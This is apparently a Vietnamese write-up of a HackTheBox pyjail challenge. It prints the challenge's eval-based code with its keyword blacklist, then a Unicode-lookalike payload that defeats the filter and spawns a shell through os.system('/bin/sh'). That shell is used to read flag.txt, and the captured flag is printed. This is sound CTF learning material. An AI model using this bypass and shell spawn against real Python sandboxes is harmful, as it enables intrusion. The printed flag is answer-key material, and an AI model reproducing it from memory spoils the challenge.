              'eval', 'banner', 'echo', 'cat', '%', 
              '&', '>', '<', '+', '1', '2', '3', '4',
              '5', '6', '7', '8', '9', '0', 'b', 's', 
              'lower', 'upper', 'system', '}', '{' ]

while True:
  ans = input('Break me, shake me!\n\n$ ').strip()
  
  if any(char in ans for char in blacklist):
    print(f'\n{banner1}\nNaughty naughty..\n')
  else:
    try:
      eval(ans + '()')
      print('WHAT WAS THAT?!\n')
    except:
      print(f"\n{banner2}\nI'm UNBREAKABLE!\n") 

Kinh nghiệm của mình đổi với mấy bài pyjail mà không có filter ký tự unicode như thế này thì cứ abuse trò eval(input()) thôi. Mình thì thường hay xài cái web này để tạo payload unicode.

Ngoài ra thì nhớ thêm dấu # ở cuối để nó comment đi cái string “()” bị ghép vào input của mình.

$ nc 94.237.54.153 38026
Break me, shake me!

$ 𝔢𝔳𝔞𝔩(𝔦𝔫𝔭𝔲𝔱())#
__import__('os').system('/bin/sh')
ls
flag.txt
main.py
cat flag.txt
HTB{3v4l_0r_3vuln??}

Flag: HTB{3v4l_0r_3vuln??}